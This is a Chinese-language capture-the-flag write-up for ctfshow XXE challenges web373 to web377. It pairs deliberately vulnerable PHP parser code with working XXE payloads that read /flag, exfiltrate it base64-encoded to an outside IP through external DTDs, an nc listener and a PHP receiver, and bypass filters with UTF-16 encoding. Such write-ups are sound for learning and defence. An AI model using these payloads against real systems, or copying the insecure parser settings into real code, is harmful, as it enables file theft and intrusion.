ctfshowXXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入。
web373
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//以php伪协议接收一个值
if(isset($xmlfile)){
$dom = new DOMDocument();//创建内部类Document对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//通过解析一个 XML 标签字符串来组成该文档
$creds = simplexml_import_dom($dom);//把 DOM 节点转换为 SimpleXMLElement 对象
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
给出payload!
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<njh>
<ctfshow>&xxe;</ctfshow>
</njh>
entity 翻译为"实体"。它的作用类似word中的"宏",也可以理解为DW中的摸板,你可以预先定义一个entity,然后在一个文档中多次调用,或者在多个文档中调用同一个entity。
web374~376
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//依然是利用php伪协议进行传参
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看!
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://47.95.235.67/harker.dtd">
%aaa;
]>
<root>123</root>
服务器上挂上去,并开启监听!nc -lvp 9999
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://47.95.235.67:9999/%file;'> ">
%dtd;
%xxe;
这里使用了一个嵌套!
是为一种方法!还有一个方法!
新建一个文件(服务器)
# pd.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://47.95.235.67/xxe.php?q=%file;'>"
>
%all;
再新建一个用于接受的php文件!
# xxe.php
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>
然后BP进行发送以下这段脚本!
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://47.95.235.67/pd.dtd">
%dtd;
%send;
] >
知识点
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
后面几道题将xml头给ban了!
不过利用上面这个脚本依然是可以的!
同理web375
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
web377
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里同上,不过post传参需要进行编码方可绕过!
import requests
url = 'http://5d02e5f9-796d-4dc6-8e1e-6dbb51d6c0c0.challenge.ctf.show:8080/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://47.95.235.67/test.dtd">
%dtd;
%send;
] >"""
requests.post(url ,data=data.encode('utf-16'))
print("OK!")
知识点
libxml_disable_entity_loader(false);
禁用加载外部实体的能力
一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )